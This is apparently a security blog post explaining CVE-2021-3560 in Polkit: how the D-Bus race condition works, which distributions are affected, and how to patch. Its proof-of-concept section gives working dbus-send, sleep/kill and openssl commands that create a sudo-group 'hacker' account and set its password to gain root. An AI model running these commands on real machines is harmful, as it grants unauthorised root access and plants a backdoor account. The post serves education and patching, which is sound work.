Tick-tock, Tick-tock, Attacker stops the Clock! | CVE-2021-3560


A 7-year-old local privilege escalation vulnerability has been discovered in the Polkit package, early in 2021, that could be exploited by an unprivileged local attacker to bypass authorization and escalate permissions to the root user.

In this blog, we have showcased an overview of this vulnerability along with Proof Of Concept (POC) as well as guidance to patch affected systems. So without further ado, let’s dive in!!


What is this now?

Circa June 2021, a security researcher on the GitHub Security Lab team named Kevin Backhouse discovered this privilege escalation vulnerability in the Linux Polkit utility. It was publicly announced and the fix was released on June 3, 2021, and since designated CVE-2021-3560 by Red Hat. This vulnerability is rated a CVSS Base Score of 7.8 meaning “high severity” and requires that “one must take immediate action”.

This flaw, as reported, was first shipped with Polkit version 0.113, seven years ago in the commit bfa5036, and affects Polkit versions between 0.113 and 0.118. Although this flaw has a slightly different history on Debian and its derivatives like Ubuntu. Debian uses a fork of Polkit with a different version numbering scheme. In the Debian fork, the flaw was first introduced in the commit f81d021 and first shipped with version 0.105-26.

But, by happy chance, different distributions of Linux (and even different versions of the same distributions) use different versions of this software, meaning that only some are vulnerable.

For better knowledge, we are providing a selection of major Linux distributions and whether they are vulnerable:

Distributions with VersionVulnerable?
RHEL 7No
RHEL 8Yes
Fedora 20 (or earlier)No
Fedora 21 (or later)Yes
Debian 10 (“Buster”)No
Debian testing (“Bullseye”)Yes
Ubuntu 18.04No
Ubuntu 20.04 (“Focal Fossa”)Yes
Note: This is not a comprehensive list.

For this blog, we would be precisely focusing on Ubuntu 20.04.2 LTS. A patch for their version of Polkit known as policykit-1, was released by Canonical bearing the version number 0.105-26ubuntu1.1 and is shipped by default in their latest release, Ubuntu 20.04.3 LTS.

The last vulnerable version available in the apt repositories for Focal Fossa is 0.105-26ubuntu1, so, in case you come across this version, you may be in luck!

We can use the command apt list --installed | grep policykit-1 on the terminal to check the installed version of Polkit:

For the sake of keeping this blog relatively light, we would not be delving too deep into the specifics behind this, but if anyone is interested, we highly recommend them to read the original description of this vulnerability in a post written by Kevin Backhouse, here.


What is Polkit?

Now, the obvious question you might be asking is: “What is Polkit?

Polkit (née PolicyKit) is the Linux system service defining and managing authorizations and is used for allowing unprivileged processes to communicate with privileged ones. It is the very service that is running under the hood when we encounter a dialog box asking for authentication, like the one below.

In simpler words, it essentially plays the role of a judge. When a user tries to perform an action that requires a higher level of privileges, Polkit can be utilized to determine whether the user has the required permissions. It is integrated with systemd and is much more configurable than a conventional sudo system. Indeed, it is sometimes referred to as the “sudo of systemd“, providing a granular system with which to assign permissions to users.

When interacting with Polkit, we can make use of the pkexec utility – a SUID-root program, instead of sudo. pkexec, analogous to the sudo command, allows an authorized user to execute commands as another user, doubling as a substitute to sudo. If no username is specified, the command would run as the administrative superuser, root.

As an example of using this utility, attempting to run the useradd command through pkexec in a GUI session results in a pop-up asking for credentials:

pkexec useradd test1234

The pop-up dialog box might give the impression that Polkit is a graphical system. To think this would be wrong because it is a background process in reality. The dialog box is called an authentication agent and is really just a mechanism to send your password to Polkit. In a CLI session, we receive a text-based prompt instead:

In a nutshell, Polkit can be thought of as a fine-grained alternative to the simpler sudo system that one is familiar with.


How is Polkit vulnerable?

The obvious follow-up question will be of course: “How can we exploit Polkit?

The summary is: by manually sending D-Bus messages to dbus-daemon (actually an API for different processes to communicate with each other) and then killing the request ere it has been fully processed, we can deceive Polkit into authorising the command. If you are not familiar with daemons, they are actually background services running on Linux. The dbus-daemon is a program running under the hood that brokers messages between applications.

This vulnerability is, lamentably, incredibly easy to exploit. All it takes is a few commands to be executed in the terminal using only standard tools like bash, kill and dbus-send. The vulnerability can be summarized to these sequence of events:

  1. The local attacker sends a D-Bus message to the accounts-daemon requesting the creation of a new account with sudo permissions (or latterly, a password to be set for the new user). This message is assigned a Unique ID by the dbus-daemon and cannot be forged.
  2. The attacker kills this message after Polkit receives it, but just at the nick of time before Polkit has the chance to process the message for authorization. This effectively destroys the Unique ID of the message.
  3. Polkit asks the dbus-daemon for the user ID of the user who sent the message, referencing the (now destroyed) message Unique ID.
  4. The dbus-daemon cannot find the message unique ID as we have killed it in Step 2. It handles the error correctly by responding with and error code.
  5. Polkit mishandles the error in a rather unfortunate way. Instead of rejecting the request, it treats the request as if it came from a user with the user ID 0, i.e. the root account of the machine. Thus, it immediately authorizes the request thinking it to be generated from a root process.

In a nutshell, by destroying the Unique ID of the message before the dbus-daemon gets the chance to give Polkit the correct ID, we exploit the poor error-handling in Polkit to deceive it into thinking that the request was made by the all-powerful root user.

“To trigger the vulnerable codepath, you have to disconnect at just the right moment. And because there are multiple processes involved, the timing of that “right moment” varies from one run to the next. That’s why it usually takes a few tries for the exploit to succeed. I’d guess it’s also the reason why the bug wasn’t previously discovered.”

~ Kevin Backhouse

If this does not make sense now, it will hopefully do after you have had a chance to read the detailed exploitation process that is about to follow.


Let the Hack begin!

So far we have seen the theory, let us see it in action now.

Look before you act

For the purpose of exploitation, we have selected a Ubuntu 20.04.2 LTS virtual machine as the vulnerable target. We would try to add a new user called hacker, with sudo permissions, and a password of h4ck3r. First, let us look at the D-Bus messages we will need to send:

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:hacker string:"Hacker Account" int32:1

This command will manually send a D-Bus message to the accounts-daemon, printing the response and creating a new user called hacker (string:hacker) with a description of “Hacker Account” (string:"Hacker Account") and membership of the sudo group set to true (referenced by the int32:1 flag).

In our second D-Bus message we will set a password for the new user account:

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/UserUSER_ID org.freedesktop.Accounts.User.SetPassword string:"PASSWORD_HASH" string:"Ask the Hacker"

This command once again sends a D-Bus message to the accounts-daemon, requesting a password change for the user with a user ID which we need to specify (shown in red), a password hash that we need to generate manually, and a hint (“Ask the Hacker”).

The real hack starts here

Before we start with the exploitation, we would recommend running the commands from an SSH session to avoid repeatedly triggering the authentication dialog box, which can be annoying, using the command:

ssh localhost

Since this is a race condition, we first need to determine how long our command will take to run. Let us try this with our first D-Bus message:

$ time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:hacker string:"Hacker Account" int32:1

As we can see, this takes around 0.013 seconds or 13 milliseconds. This time will slightly differ from each time you run the command. We need to kill the command approximately halfway through execution. 7 milliseconds or 0.007 seconds would generally work pretty well on this target machine; however, be aware that this is not an absolute thing. You may need to change the sleep time or run the command several times before being successful. With that said, once you find a time that works, it should work consistently. If you are struggling to get a working time, running the command iteratively inside a bash for loop through a range of times tends to work fairly well.

Let us try this. We need to send the D-Bus message and then kill it approximately halfway through:

$ dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:hacker string:"Hacker Account" int32:1 & sleep 0.007s; kill $!

In the above command, we have sent the D-Bus message in a background task (using the ampersand symbol to background the command). We then devised it to sleep for 7 milliseconds (sleep 0.007s), then kill the previous process ($!). This successfully created the new user as well as added them into the sudo group.

At this point, we must note down that the user ID of the new user in this instance is 1001. All we need to do now is to give the user a password and we would be good to go.

We need a password hash here, so we generate a SHA512-crypt hash for our chosen password h4ck3r:

openssl passwd -6 h4ck3r

Using OpenSSL, we generated a password of type 6 (SHA512-crypt) for our plaintext password (h4ck3r).

Now, let’s get started with the endgame. 7 milliseconds worked last time, so it should work this time too:

$ dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1001 org.freedesktop.Accounts.User.SetPassword string:"$6$xfz9u.DXhyU0GZPl$edo8p8cmUviuMgJvNVcByh/AFyPQC9dk0bK.6ph44i.jDTshODEhNQn9ECzR5Fqkqnw9B0vc0/GJ/6T2TkwDx/" string:"Ask the Hacker" & sleep 0.007s; kill $!

Finally with a hop, su, and a sudo -s, we have root!

Watch Kevin Backhouse’s video to get a practical demonstration of the exploitation process.


How to protect against it?

The ease of exploitation and its ubiquitous nature makes this an absolutely devastating vulnerability. Fortunately, developers tend to be fairly swift when it comes to developing patches for critical vulnerabilities. The issue has been remediated in version 0.119 which was released on June 3, 2021. All Linux distributions should now have released patched versions of their respective Polkit packages. However, if you come across one of these distributions having this vulnerability then it may not have been updated for a long while.


Here we conclude

CVE-2021-3560 allows an unprivileged local attacker to gain root privileges. Thus, users are encouraged to immediately update their Linux installations as soon as possible to avoid any potential risks that may befall regarding this flaw.

And if you like nerding out about other security vulnerabilities and how to fix them, check out Pwnkit (CVE-2021-4034) – exploitation that has been the Polkit package leading to another local privilege escalation!


Note from the author

This blog is brought to you with the wholehearted intent that it improves your awareness, learning and understanding of this vulnerability to better the security landscape. Test systems you own, apply patches and mitigations where appropriate. This is a recent and real-world threat – whether you are a security professional or a script kiddy – this blog is to help you and the world understand and gain awareness of this widespread vulnerability. It should not be used for exploitative gain or self-serving financial incentives.

Additionally, do bear in mind that the developers of the Polkit package work on the open-source as a labour of love and passion. They are volunteers who maintain their projects in their spare time. There should not be any bashing, shame or malice towards those individuals.

As with everything else, please further your knowledge so that you can be a pedestal and pillar for the information security community. While “Hollywood Hacking” is cool and flashy, cybersecurity is a team sport. Please review the external resources and make this community a better place.

Educate, share and help!!

Security used to be an inconvenience sometimes, but now it’s a necessity all the time.

~Martina Navratilova

References

While there are numerous other articles, blogs, resources and learning materials regarding CVE-2021-3560, we have provided these links to external resources as they may have information that would be of interest to you.

Sayak Karar
Sayak Karar

Ethical Hacker | Coder | Blogger | Audio Editor | Orator | Web Developer

Articles: 4

2 Comments

Leave a Reply

Your email address will not be published.

You cannot copy content of this page